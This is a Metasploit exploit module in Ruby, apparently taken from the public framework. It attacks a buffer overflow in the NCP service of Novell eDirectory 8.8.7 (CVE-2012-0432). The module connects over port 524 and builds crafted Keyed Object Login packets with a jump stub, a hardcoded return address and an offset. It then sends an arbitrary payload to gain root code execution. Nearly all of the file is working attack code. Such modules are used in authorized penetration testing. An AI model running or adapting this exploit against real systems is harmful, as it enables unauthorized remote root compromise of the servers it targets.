## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super( update_info( info, 'Name' => 'Novell eDirectory 8 Buffer Overflow', 'Description' => %q{ This exploit abuses a buffer overflow vulnerability in Novell eDirectory. The vulnerability exists in the ndsd daemon, specifically in the NCP service, while parsing a specially crafted Keyed Object Login request. It allows remote code execution with root privileges. }, 'Author' => [ 'David Klein', # Vulnerability Discovery 'Gary Nilson', # Exploit 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0432'], [ 'OSVDB', '88718'], [ 'BID', '57038' ], [ 'EDB', '24205' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=3426981' ], [ 'URL', 'https://seclists.org/fulldisclosure/2013/Jan/97' ] ], 'DisclosureDate' => '2012-12-12', 'Platform' => 'linux', 'Privileged' => true, 'Arch' => ARCH_X86, 'Payload' => {}, 'Targets' => [ [ 'Novell eDirectory 8.8.7 v20701.33/ SLES 10 SP3', { 'Ret' => 0x080a4697, # jmp esi from ndsd 'Offset' => 58 } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options([Opt::RPORT(524),]) end def check connect sock.put(connection_request) res = sock.get_once(-1, 10) disconnect if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0 # res[8,2] => Reply Type # res[15,1] => Connection Status return Exploit::CheckCode::Safe end return Exploit::CheckCode::Detected end def connection_request pkt = "\x44\x6d\x64\x54" # NCP TCP id pkt << "\x00\x00\x00\x17" # request_size pkt << "\x00\x00\x00\x01" # version pkt << "\x00\x00\x00\x00" # reply buffer size pkt << "\x11\x11" # cmd => create service connection pkt << "\x00" # sequence number pkt << "\x00" # connection number pkt << "\x00" # task number pkt << "\x00" # reserved pkt << "\x00" # request code return pkt end def exploit connect print_status("Sending Service Connection Request...") sock.put(connection_request) res = sock.get_once(-1, 10) if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0 # res[8,2] => Reply Type # res[15,1] => Connection Status fail_with(Failure::UnexpectedReply, "Service Connection failed") end print_good("Service Connection successful") pkt = "\x44\x6d\x64\x54" # NCP TCP id pkt << "\x00\x00\x00\x00" # request_size (filled later) pkt << "\x00\x00\x00\x01" # version (1) pkt << "\x00\x00\x00\x05" # reply buffer size pkt << "\x22\x22" # cmd pkt << "\x01" # sequence number pkt << res[11] # connection number pkt << "\x00" # task number pkt << "\x00" # reserved pkt << "\x17" # Login Object FunctionCode (23) pkt << "\x00\xa7" # SubFuncStrucLen pkt << "\x18" # SubFunctionCode pkt << "\x90\x90" # object type pkt << "\x50" # ClientNameLen pkt << rand_text(7) jmp_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{target['Offset'] + 4}").encode_string pkt << jmp_payload # first byte is the memcpy length, must be bigger than 62 to to overwrite EIP pkt << rand_text(target['Offset'] - jmp_payload.length) pkt << [target.ret].pack("V") pkt << payload.encoded pkt[4, 4] = [pkt.length].pack("N") print_status("Sending Overflow on Keyed Object Login...") sock.put(pkt) sock.get_once(-1, 10) disconnect end end